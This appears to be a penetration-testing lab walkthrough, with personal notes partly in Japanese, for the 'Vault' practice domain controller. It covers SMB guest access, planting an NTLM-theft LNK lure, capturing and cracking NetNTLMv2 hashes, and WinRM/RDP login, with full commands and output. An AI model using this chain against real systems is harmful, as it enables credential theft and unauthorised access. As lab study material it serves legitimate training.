Vault¶
Flag-Critical Knowledge¶
トリガー、攻撃パターン¶
attack summary¶
Guest SMB login
→ writable DocumentsShare
→ ntlm_theft LNK lure
→ capture ANIRUDH NetNTLMv2
→ crack password: SecureHM
→ WinRM as ANIRUDH
→ BloodHound finds GPO write path
→ SharpGPOAbuse adds ANIRUDH to local Administrators
→ gpupdate
→ read Administrator proof.txt
walkthrough¶
- [ ] スクショ
- [ ] マークダウンの書き方を整えて
こういうところ これは何秒までなら許容？？？ |_clock-skew: 14s ⇒5分（300秒）を超えると認証失敗の可能性あり
192.168.206.172 DC.vault.offsec
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-28 23:05:19Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vault.offsec0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vault.offsec0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-06-28T23:06:48+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC.vault.offsec
| Not valid before: 2026-06-27T23:02:42
|_Not valid after: 2026-12-27T23:02:42
| rdp-ntlm-info:
| Target_Name: VAULT
| NetBIOS_Domain_Name: VAULT
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: vault.offsec
| DNS_Computer_Name: DC.vault.offsec
| DNS_Tree_Name: vault.offsec
| Product_Version: 10.0.17763
|_ System_Time: 2026-06-28T23:06:08+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-06-28T23:06:11
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.42 seconds
[!!!] Domain Controller found on 192.168.206.172
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-29 08:06 JST
Nmap scan report for 192.168.206.172
Host is up (0.087s latency).
PORT STATE SERVICE VERSION
53/udp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
| DNS-SD:
| _services
| _dns-sd
| _udp
| local
| NBTStat:
|_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-28 23:06:55Z)
123/udp open ntp NTP v3
| ntp-info:
|_
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-UDP:V=7.95%I=7%D=6/29%Time=6A41A91E%P=aarch64-unknown-linux-gnu%
SF:r(DNS-SD,2E,"\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04_u
SF:dp\x05local\0\0\x0c\0\x01")%r(NBTStat,32,"\x80\xf0\x80\x82\0\x01\0\0\0\
SF:0\0\0\x20CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0\0!\0\x01");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 14s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.53 seconds
[!!!] DNS server found on 192.168.206.172
[*] Scan completed.
これは何秒までなら許容？
|_clock-skew: 14s
⇒5分（300秒）を超えると認証失敗の可能性あり
sudo ntpdate <DC_IP>
sudo rdate -n <DC_IP>
9389/tcp open mc-nmf .NET Message Framing
⇒Active Directory Web Services (ADWS)のポート。DCで開いてる。
dns列挙
nmap -sCV -p53 192.168.206.172 -oA scans/192.168.206.172-dns
dig @192.168.206.172 vault.offsec any
dig axfr @192.168.206.172 vault.offsec
dnsrecon -d vault.offsec -n 192.168.206.172
kerberos列挙
nmap -sCV -p88 192.168.206.172 -oA scans/192.168.206.172-kerberos
kerbrute userenum -d vault.offsec users.txt --dc 192.168.206.172
impacket-GetNPUsers vault.offsec/ -usersfile users.txt -dc-ip 192.168.206.172 -no-pass -format hashcat -outputfile asrep.hash
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
⇒ユーザ名が取れてから
ldap列挙
ldapsearch -x -H ldap://192.168.206.172 -s base namingContexts
ldapsearch -x -H ldap://192.168.206.172 -b "DC=vault,DC=offsec"
msrpc列挙 smb列挙
nxc smb 192.168.206.172
nxc smb 192.168.206.172 -u '' -p ''
nxc smb 192.168.206.172 -u guest -p ''
enum4linux-ng 192.168.206.172
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ nxc smb 192.168.206.172 -u guest -p ''
SMB 192.168.206.172 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:vault.offsec) (signing:True) (SMBv1:False)
SMB 192.168.206.172 445 DC [+] vault.offsec\guest:
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$
smbのguestが有効
nxc smb 192.168.206.172 -u guest -p '' --shares
nxc smb 192.168.206.172 -u guest -p '' --users
nxc ldap 192.168.206.172 -u guest -p '' --groups
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ nxc smb 192.168.206.172 -u guest -p '' --shares
SMB 192.168.206.172 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:vault.offsec) (signing:True) (SMBv1:False)
SMB 192.168.206.172 445 DC [+] vault.offsec\guest:
SMB 192.168.206.172 445 DC [*] Enumerated shares
SMB 192.168.206.172 445 DC Share Permissions Remark
SMB 192.168.206.172 445 DC ----- ----------- ------
SMB 192.168.206.172 445 DC ADMIN$ Remote Admin
SMB 192.168.206.172 445 DC C$ Default share
SMB 192.168.206.172 445 DC DocumentsShare READ,WRITE
SMB 192.168.206.172 445 DC IPC$ READ Remote IPC
SMB 192.168.206.172 445 DC NETLOGON Logon server share
SMB 192.168.206.172 445 DC SYSVOL Logon server share
DocumentsShareにアクセス
smbclient //192.168.206.172/<SHARE> -U 'guest%'
smbclient //192.168.206.172/<SHARE> -U guest --password=''
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ smbclient //192.168.206.172/DocumentsShare -U 'guest%'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jun 29 22:42:40 2026
.. D 0 Mon Jun 29 22:42:40 2026
7706623 blocks of size 4096. 1913864 blocks available
smb: \> put test.txt
putting file test.txt as \test.txt (0.0 kb/s) (average 0.0 kb/s)
smb: \> ls
. D 0 Mon Jun 29 22:59:44 2026
.. D 0 Mon Jun 29 22:59:44 2026
test.txt A 5 Mon Jun 29 22:59:44 2026
7706623 blocks of size 4096. 1913656 blocks available
smb: \> exit
* ntlm_theft
https://github.com/Greenwolf/ntlm_theft
git clone https://github.com/Greenwolf/ntlm_theft.git
cd ntlm_theft
python3 ntlm_theft.py -g lnk -s <kali ip> -f vault
python3 ntlm_theft.py -g lnk -s 192.168.45.187 -f vault
ntlm_theft.pyだけwgetしてもlnkファイルを作成できなかった。
┌──(kali@kali)-[~/…/pGpractice/Vault/192.168.206.172/ntlm_theft]
└─$ python3 ntlm_theft.py -g lnk -s 192.168.45.187 -f vault
/home/kali/oscp/pGpractice/Vault/192.168.206.172/ntlm_theft/ntlm_theft.py:168: SyntaxWarning: invalid escape sequence '\l'
location.href = 'ms-word:ofe|u|\\''' + server + '''\leak\leak.docx';
Created: vault/vault.lnk (BROWSE TO FOLDER)
Generation Complete.
┌──(kali@kali)-[~/…/pGpractice/Vault/192.168.206.172/ntlm_theft]
└─$ cd vault
┌──(kali@kali)-[~/…/Vault/192.168.206.172/ntlm_theft/vault]
└─$ ls
vault.lnk
┌──(kali@kali)-[~/…/Vault/192.168.206.172/ntlm_theft/vault]
└─$
smbclient //192.168.206.172/DocumentsShare -U 'guest%'
put vault.lnk
impacket-smbserver test . -smb2support
or
sudo responder -I tun0 -v
responderの 「SMB server [OFF]」になっている場合は、 設定ファイル
/usr/share/responder/Responder.conf
の SMB = Off を SMB = On にする
┌──(kali@kali)-[~/…/Vault/192.168.206.172/ntlm_theft/vault]
└─$ smbclient //192.168.206.172/DocumentsShare -U 'guest%'
Try "help" to get a list of possible commands.
smb: \> put vault.lnk
putting file vault.lnk as \vault.lnk (8.6 kb/s) (average 8.6 kb/s)
smb: \>
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ impacket-smbserver test . -smb2support
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (192.168.206.172,53894)
[*] AUTHENTICATE_MESSAGE (VAULT\anirudh,DC)
[*] User DC\anirudh authenticated successfully
[*] anirudh::VAULT:aaaaaaaaaaaaaaaa:42b3c7e073962198970c43f9698ec767:010100000000000000ccb9e8d207dd011e85c2c0dd5742bf0000000001001000660073006b0058006e00550063004b0003001000660073006b0058006e00550063004b00020010006f0046006d0049004200590053006c00040010006f0046006d0049004200590053006c000700080000ccb9e8d207dd01060004000200000008003000300000000000000001000000002000001830f0c706803f0173332094f5b2bb5fb0c4dad79922348512363cc7dc51c8100a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00340035002e003100380037000000000000000000
[*] Closing down connection (192.168.206.172,53894)
[*] Remaining connections []
[*] Incoming connection (192.168.206.172,53895)
[*] AUTHENTICATE_MESSAGE (VAULT\anirudh,DC)
[*] User DC\anirudh authenticated successfully
[*] anirudh::VAULT:aaaaaaaaaaaaaaaa:302445fa29611da27defdb8c7900d78e:0101000000000000806252e9d207dd011b198ae75f3c01e50000000001001000660073006b0058006e00550063004b0003001000660073006b0058006e00550063004b00020010006f0046006d0049004200590053006c00040010006f0046006d0049004200590053006c0007000800806252e9d207dd01060004000200000008003000300000000000000001000000002000001830f0c706803f0173332094f5b2bb5fb0c4dad79922348512363cc7dc51c8100a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00340035002e003100380037000000000000000000
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ sudo responder -I tun0 -v
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.6.0
To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [OFF]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [192.168.45.187]
Responder IPv6 [fe80::fbbc:68f5:361b:7d4e]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
Don't Respond To MDNS TLD ['_DOSVC']
TTL for poisoned response [default]
[+] Current Session Variables:
Responder Machine Name [WIN-7WPO025JBR7]
Responder Domain Name [QSVT.LOCAL]
Responder DCE-RPC Port [48597]
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 192.168.206.172
[SMB] NTLMv2-SSP Username : VAULT\anirudh
[SMB] NTLMv2-SSP Hash : anirudh::VAULT:dc188f2b79d767c5:0F4418651B48B0F8C93361A81C4D6C55:01010000000000008081448A080CDD01DAD9AC231F3C96620000000002000800510053005600540001001E00570049004E002D003700570050004F003000320035004A0042005200370004003400570049004E002D003700570050004F003000320035004A004200520037002E0051005300560054002E004C004F00430041004C000300140051005300560054002E004C004F00430041004C000500140051005300560054002E004C004F00430041004C00070008008081448A080CDD01060004000200000008003000300000000000000001000000002000001830F0C706803F0173332094F5B2BB5FB0C4DAD79922348512363CC7DC51C8100A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00340035002E003100380037000000000000000000
[SMB] NTLMv2-SSP Client : 192.168.206.172
[SMB] NTLMv2-SSP Username : VAULT\anirudh
[SMB] NTLMv2-SSP Hash :
hashcat -m 5600 anirudh.hash /usr/share/wordlists/rockyou.txt
or
john anirudh.hash --wordlist=/usr/share/wordlists/rockyou.txt
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ hashcat -m 5600 anirudh.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu--0x000, 1435/2935 MB (512 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
ANIRUDH::VAULT:aaaaaaaaaaaaaaaa:13a17a1b099c6b5b04958f8358fedaf6:010100000000000000393636d307dd01481e0e631c01ff7f00000000010010006100420075004d0072004d0076005100030010006100420075004d0072004d0076005100020010004a006800410054006e0063006a005200040010004a006800410054006e0063006a0052000700080000393636d307dd01060004000200000008003000300000000000000001000000002000001830f0c706803f0173332094f5b2bb5fb0c4dad79922348512363cc7dc51c8100a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00340035002e003100380037000000000000000000:SecureHM
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: ANIRUDH::VAULT:aaaaaaaaaaaaaaaa:13a17a1b099c6b5b049...000000
Time.Started.....: Mon Jun 29 23:26:42 2026 (7 secs)
Time.Estimated...: Mon Jun 29 23:26:49 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1548.5 kH/s (0.28ms) @ Accel:256 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10609152/14344385 (73.96%)
Rejected.........: 0/10609152 (0.00%)
Restore.Point....: 10608640/14344385 (73.96%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: Sekhmet* -> Searston87
Hardware.Mon.#1..: Util: 95%
Cracking performance lower than expected?
* Append -O to the commandline.
This lowers the maximum supported password/salt length (usually down to 32).
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => Started: Mon Jun 29 23:26:41 2026
Stopped: Mon Jun 29 23:26:51 2026
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ john anirudh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
SecureHM (anirudh)
1g 0:00:00:05 DONE (2026-07-05 20:21) 0.1828g/s 1940Kp/s 1940Kc/s 1940KC/s Seifer@14..Sabertooth
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$
ANIRUDH SecureHM
for p in smb rdp winrm; do nxc $p 192.168.206.172 -u anirudh -p 'SecureHM'; done
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ for p in smb rdp winrm; do nxc $p 192.168.206.172 -u anirudh -p 'SecureHM'; done
SMB 192.168.206.172 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:vault.offsec) (signing:True) (SMBv1:False)
SMB 192.168.206.172 445 DC [+] vault.offsec\anirudh:SecureHM
RDP 192.168.206.172 3389 DC [*] Windows 10 or Windows Server 2016 Build 17763 (name:DC) (domain:vault.offsec) (nla:False)
RDP 192.168.206.172 3389 DC [+] vault.offsec\anirudh:SecureHM
WINRM 192.168.206.172 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:vault.offsec)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 192.168.206.172 5985 DC [+] vault.offsec\anirudh:SecureHM (Pwn3d!)
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$
evil-winrm -i 192.168.206.172 -u ANIRUDH -p "SecureHM"
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ evil-winrm -i 192.168.206.172 -u ANIRUDH -p "SecureHM"
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\anirudh\Documents>
winrmでログインできた。
xfreerdp /v:192.168.206.172 /u:ANIRUDH /p:"SecureHM" /cert:ignore
xfreerdp /v:192.168.206.172 /d:vault.offsec /u:ANIRUDH /p:'SecureHM' /cert:ignore /sec:rdp -gfx /bpp:16
xfreerdp /cert:ignore /dynamic-resolution +clipboard /u:'anirudh' /p:'SecureHM' /v:vault.offsec
⇒できない
xfreerdp /v:192.168.206.172 /d:vault.offsec /u:ANIRUDH /p:'SecureHM' /cert:ignore /sec:tls -gfx /bpp:16
xfreerdp /v:192.168.206.172 /d:vault.offsec /u:ANIRUDH /p:'SecureHM' /cert:ignore /sec:tls '/auth-pkg-list:!kerberos,ntlm' -gfx /bpp:16
xfreerdp /v:192.168.206.172 /d:vault.offsec /u:ANIRUDH /p:'SecureHM' /cert:ignore /sec:tls '/auth-pkg-list:!kerberos,ntlm' /bpp:16 /size:1280x720 -wallpaper -themes -fonts -clipboard -sound
xfreerdp /v:192.168.206.172 /d:vault.offsec /u:ANIRUDH /p:'SecureHM' /cert:ignore /sec:tls /bpp:16 /size:1280x720 -wallpaper -themes -fonts -clipboard -sound
xfreerdp /v:192.168.206.172 /d:vault.offsec /u:ANIRUDH /p:'SecureHM' /cert:ignore /sec:tls '/auth-pkg-list:!kerberos,ntlm' /bpp:16 /size:1280x720 -wallpaper -themes -fonts -clipboard -sound
rdesktop -d vault.offsec -u ANIRUDH -p SecureHM 192.168.206.172
⇒できた 「/sec:tls」をつけるのが肝らしい
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ xfreerdp /v:192.168.206.172 /u:ANIRUDH /p:"SecureHM" /cert:ignore
[23:15:28:860] [961615:000eac4f] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Using /p is insecure
[23:15:28:860] [961615:000eac4f] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Passing credentials or secrets via command line might expose these in the process list
[23:15:28:860] [961615:000eac4f] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Consider using one of the following (more secure) alternatives:
[23:15:28:860] [961615:000eac4f] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - /args-from: pipe in arguments from stdin, file or file descriptor
[23:15:28:860] [961615:000eac4f] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - /from-stdin pass the credential via stdin
[23:15:28:860] [961615:000eac4f] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - set environment variable FREERDP_ASKPASS to have a gui tool query for credentials
[23:15:28:866] [961615:000eac51] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x08 -> no RDP scancode found
[23:15:28:866] [961615:000eac51] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x5d -> no RDP scancode found
[23:15:28:867] [961615:000eac51] [WARN][com.freerdp.codec.nsc.neon] - [nsc_init_neon_int]: TODO: Implement neon optimized version of this function
[23:15:29:232] [961615:000eac51] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Certificate not checked, /cert:ignore in use.
[23:15:29:232] [961615:000eac51] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] This prevents MITM attacks from being detected!
[23:15:29:232] [961615:000eac51] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Avoid using this unless in a secure LAN (=no internet) environment
[23:15:29:233] [961615:000eac51] [ERROR][com.winpr.sspi.Kerberos] - [kerberos_AcquireCredentialsHandleA]: krb5_parse_name (Configuration file does not specify default realm [-1765328160])
[23:15:29:234] [961615:000eac51] [ERROR][com.winpr.sspi.Kerberos] - [kerberos_AcquireCredentialsHandleA]: krb5_parse_name (Configuration file does not specify default realm [-1765328160])
[23:15:29:500] [961615:000eac51] [ERROR][com.freerdp.core.transport] - [transport_read_layer]: BIO_read returned a system error 104: Connection reset by peer
[23:15:29:500] [961615:000eac51] [ERROR][com.freerdp.core] - [transport_read_layer]: ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[23:15:29:502] [961615:000eac51] [WARN][com.freerdp.codec.nsc.neon] - [nsc_init_neon_int]: TODO: Implement neon optimized version of this function
[23:15:29:865] [961615:000eac51] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Certificate not checked, /cert:ignore in use.
[23:15:29:865] [961615:000eac51] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] This prevents MITM attacks from being detected!
[23:15:29:865] [961615:000eac51] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Avoid using this unless in a secure LAN (=no internet) environment
[23:15:29:865] [961615:000eac51] [ERROR][com.winpr.sspi.Kerberos] - [kerberos_AcquireCredentialsHandleA]: krb5_parse_name (Configuration file does not specify default realm [-1765328160])
[23:15:29:865] [961615:000eac51] [ERROR][com.winpr.sspi.Kerberos] - [kerberos_AcquireCredentialsHandleA]: krb5_parse_name (Configuration file does not specify default realm [-1765328160])
[23:15:30:130] [961615:000eac51] [ERROR][com.freerdp.core.transport] - [transport_read_layer]: BIO_read returned a system error 104: Connection reset by peer
[23:15:30:130] [961615:000eac51] [ERROR][com.freerdp.core] - [transport_read_layer]: ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[23:15:30:130] [961615:000eac51] [ERROR][com.freerdp.core] - [freerdp_connect]: freerdp_post_connect failed
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ xfreerdp /v:192.168.206.172 /d:vault.offsec /u:ANIRUDH /p:'SecureHM' /cert:ignore /sec:rdp -gfx /bpp:16
[23:15:35:540] [961679:000eac8f] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Using /p is insecure
[23:15:35:540] [961679:000eac8f] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Passing credentials or secrets via command line might expose these in the process list
[23:15:35:541] [961679:000eac8f] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Consider using one of the following (more secure) alternatives:
[23:15:35:541] [961679:000eac8f] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - /args-from: pipe in arguments from stdin, file or file descriptor
[23:15:35:541] [961679:000eac8f] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - /from-stdin pass the credential via stdin
[23:15:35:541] [961679:000eac8f] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - set environment variable FREERDP_ASKPASS to have a gui tool query for credentials
[23:15:35:553] [961679:000eac91] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x08 -> no RDP scancode found
[23:15:35:553] [961679:000eac91] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x5d -> no RDP scancode found
[23:15:35:555] [961679:000eac91] [WARN][com.freerdp.codec.nsc.neon] - [nsc_init_neon_int]: TODO: Implement neon optimized version of this function
[23:15:35:740] [961679:000eac91] [ERROR][com.freerdp.core.transport] - [transport_read_layer]: BIO_read returned a system error 104: Connection reset by peer
[23:15:35:740] [961679:000eac91] [ERROR][com.freerdp.core] - [transport_read_layer]: ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[23:15:35:742] [961679:000eac91] [WARN][com.freerdp.codec.nsc.neon] - [nsc_init_neon_int]: TODO: Implement neon optimized version of this function
[23:15:35:924] [961679:000eac91] [ERROR][com.freerdp.core.transport] - [transport_read_layer]: BIO_read returned a system error 104: Connection reset by peer
[23:15:35:924] [961679:000eac91] [ERROR][com.freerdp.core] - [transport_read_layer]: ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[23:15:35:924] [961679:000eac91] [ERROR][com.freerdp.core] - [freerdp_connect]: freerdp_post_connect failed
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ xfreerdp /v:192.168.206.172 /d:vault.offsec /u:ANIRUDH /p:'SecureHM' /cert:ignore /sec:tls -gfx /bpp:16
[23:16:31:876] [962148:000eae64] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Using /p is insecure
[23:16:31:878] [962148:000eae64] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Passing credentials or secrets via command line might expose these in the process list
[23:16:31:878] [962148:000eae64] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Consider using one of the following (more secure) alternatives:
[23:16:31:878] [962148:000eae64] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - /args-from: pipe in arguments from stdin, file or file descriptor
[23:16:31:878] [962148:000eae64] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - /from-stdin pass the credential via stdin
[23:16:31:878] [962148:000eae64] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - set environment variable FREERDP_ASKPASS to have a gui tool query for credentials
[23:16:31:898] [962148:000eae66] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x08 -> no RDP scancode found
[23:16:31:898] [962148:000eae66] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x5d -> no RDP scancode found
[23:16:31:902] [962148:000eae66] [WARN][com.freerdp.codec.nsc.neon] - [nsc_init_neon_int]: TODO: Implement neon optimized version of this function
[23:16:32:296] [962148:000eae66] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Certificate not checked, /cert:ignore in use.
[23:16:32:297] [962148:000eae66] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] This prevents MITM attacks from being detected!
[23:16:32:297] [962148:000eae66] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Avoid using this unless in a secure LAN (=no internet) environment
[23:16:33:346] [962148:000eae66] [INFO][com.freerdp.gdi] - [gdi_init_ex]: Local framebuffer format PIXEL_FORMAT_BGRX32
[23:16:33:346] [962148:000eae66] [INFO][com.freerdp.gdi] - [gdi_init_ex]: Remote framebuffer format PIXEL_FORMAT_BGRA32
[23:16:33:379] [962148:000eae66] [INFO][com.freerdp.channels.rdpsnd.client] - [rdpsnd_load_device_plugin]: [static] Loaded fake backend for rdpsnd
